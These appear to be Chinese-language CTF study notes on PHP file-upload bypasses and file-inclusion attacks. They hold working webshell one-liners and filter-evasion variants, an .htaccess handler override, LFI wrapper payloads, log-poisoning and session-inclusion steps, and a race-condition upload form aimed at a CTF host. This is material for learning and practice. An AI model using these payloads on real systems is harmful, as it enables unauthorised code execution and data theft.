1.文件上传
由于程序员在对用户文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件
1.1. 上传漏洞满足条件
首先,上传的文件能够被web容器解释执行。所以文件上传后所在的目录要是web容器所覆盖到的路径。
其次,用户能够从web访问这个文件。如果文件上传了,但用户无法通过web访问,或者无法得到web容器解释这个脚本,那么也不能称之为漏洞。 最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。
1.2. 服务端绕过
服务端的代码通常检测三个点:MIME类型、文件内容、文件后缀
绕过方法:前端可以修改的话,可以修改前端限制文件名为php文件,然后再进行上传文件
使用一些特殊扩展名来绕过php可以用php3、php4、php5代替 phtml
双写后缀名绕过,大小写混淆绕过,黑名单特殊后缀名绕过,黑名单扩展名绕过
其原理:检测图片类型文件上传过程中http包的Content-Type字段的值,来判断上传文件是否合法
1.3. 配置文件绕过
配合配置文件.htaccess文件或.uer.ini文件进行上传绕过
<FilesMatch "jpg"> SetHandler application/x-httpd-php </FilesMatch> //是让jpg文件当成php文件进行解析<?php @eval($_POST['cmd']);?>有一句话木马检测的话,利用.htaccess或者.usr.ini配置文件进行绕过;
也可以利用<script></script>标签进行绕过;
<script language="php">eval($_POST['a']);</script>要是过滤了php关键字,可以利用短标签进行绕过;对一句话木马进行编码绕过;
<?= @eval($_POST['cmd']) ?>过滤[],可以将其替换成{};
<?= @eval($_POST{"cmd"})?>如果{}也被过滤,一句话木马就不好写了,那就可以直接传入而已的php代码,直接去执行读取它flag的命令;
<? system('cat /f*')还有可以使用的一句话木马,不使用中括号和大括号,利用array数组
<?= array_map("assert",$_REQUEST) ?> 然后进行调用assert=system('ls');将括号()给过滤了,可以利用反单引号直接进行命令执行
<?=`tac /f*`?>如果过滤空格和反单引号,关键字符php可以进行字符串拼接绕过,也可以用十六进制绕过
利用php伪协议读取<?=include"ph"."p://filter/convert.base64-encode/resource=/f*.p"."hp"?>2. 文件包含
文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行
远程文件包含:当web应用程序下载并执行远程文件时,会导致远程文件包含,这些远程文件通常以http 或 FTP UUI 的形式获取,作为web应用程序的用户提供的参数
本地文件包含:本地文件包含类似于远程文件包含,本地文件包含仅能包含本地文件,即当前服务器上的文件以供执行
常见文件包含函数:
include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行; require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本 include_once()和require_once():若文件中代码已被包含,则不会再次包含常见攻击方式:
文件包含/etc/passwd
如果存在漏洞,文件又存在的时候,不是php文件会被读取显示在页面中。etc/passswd文件是linux里面的敏感信息,文件里存有Linux用户的配置信息
漏洞攻击利用手法
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行
http://127.0.0.1/index.php?file=php://input POST Data: <?php phpinfo();?>php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码让其不执行。从而导致任意文件读取。
http://127.0.0.1/index.php?file=php://filter/resource=xxx.php http://127.0.0.1/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php http://127.0.0.1/index.php?file=php://filter/convert.base64-encode/resource=xxx.phpdata:text/plain可以执行任意代码,但需要一定的利用条件
http://127.0.0.1/index.php?file=data:text/plain,<?php 执行内容 ?> http://127.0.0.1/index.php?file=data://,<?php phpinfo(); http://127.0.0.1/index.php?file=data://text//plain,<?php phpinfo(); http://127.0.0.1/index.php?file=data://text/plain;base64,xxxxxxxxx字符串过滤:
php://filter/A|B|C/resource=sayhello.txt
string.rot13 rot13变换
string.toupper 转大写字母
string.tolower 转小写字母
string.strip_tags 去除html、PHP语言标签 (本特性已自 PHP 7.3.0 起废弃)
$GLOBALS
$GLOBALS:引用全局作用域中可用的全部变量(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALS在PHP代码中任何地方总是可用的 global在PHP中的解析是:global的作用是定义全局变量,但是这个全局变量不是应用于整个网站,而是应用于当前页面,包括include或require的所有文件。 注:在函数体内定义的global变量,函数体外可以使用,在函数体外定义的global变量不能在函数体内使用 $GLOBALS:用于访问所有全局变量(来自全局范围的变量),即可以从PHP脚本中的任何范围访问的变量。
2.1.日志文件包含
通过包含Nginx访问日志来获取Webshell,有时候网站存在文件包含漏洞,但是没有文件上传点,这时候可以通过利用Apache的日志文件来生成一句话木马
攻击原理:
当Nginx访问日志被包含并作为PHP代码执行时,如果我们在User-Agent或请求URL中插入PHP代码,这些代码就会被写入日志文件。然后通过LFI漏洞包含日志文件,其中的PHP代码就会被执行。
首先确认文件的路径
常见的Nginx日志路径:
/var/log/nginx/access.log /var/log/nginx/error.log /usr/local/nginx/logs/access.log /etc/nginx/logs/access.log /usr/local/apache2/logs/access_log /logs/access_log /etc/httpd/logs/access_log /var/log/httpd/access_log其次确认可以读取日志文件
然后污染日志文件(1,2两种方法)
方法1:通过User-Agent插入PHP代码(插入一句话木马)
方法2:通过URL参数插入PHP代码
方法3:使用Burp Suite 拦截对目标网站的请求,修改User-Agent为PHP代码,发送请求
最后通过LFI执行代码
现在通过文件包含执行日志中的PHP代码:
http://target.com/vuln.php?page=/var/log/nginx/access.log&cmd=whoami2.2. 文件包含图片
寻找网站上传点,把 php 恶意代码文件改成 jpg 上传到网站上,本地包含引入恶意代码,当文件被引入后,代码就被执行。 <?php eval($_POST['cmd']);?> 保存为 1.jpg 上传图片格式到网站,再用文件包含漏洞引入图片,成功执行代码,就可以用蚁剑进行连接,但要注意是否存在一些限制,需要绕过这些限制。
2.3. 配合session文件
php的session文件的保存路径可以在phpinfo的session.save_path看到。
session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。
/var/lib/php/sess_PHPSESSID /var/lib/php/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID2.4. 远程文件包含
需要在php.ini中allow_url_include=On,allow_url_fopen=On
可以简单理解为:
你告诉店员:“我要吃http://黑客.com/毒 pizza.txt这份菜单上的东西”
店员真的跑去黑客的网站下载了“菜单”
打开一看,里面写着:“把厨房所有钥匙交给外卖小哥”,店员照做了!
文件包含百度,看到可以成功包含
可以通过包含这个页面来查看php的配置信息,可以看到allow_url_include=On,allow_url_fopen=On都是On,可以进行文件包含
3.简单的条件竞争
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }这题目将所有协议几乎都过滤了,那些协议都不可能用了
设置一个上传的html页面
<!DOCTYPE html> <html> <body> <form action="https://02f89973-e139-4bd1-83df-2c87ed82e18e.challenge.ctf.show/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat fl0g.php');?>" /> <!-- <?php system('ls');?> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html>在cookie中设置PHPSESSID=cmd(这个是不限制的,都可以)
在burpsuite进行设置payload类型为:Null payloads,然后是无限重复
可以竞争出目录下的内容有fl0g.php,index.php
然后重复上述的内容,再进行条件竞争,可以得到flag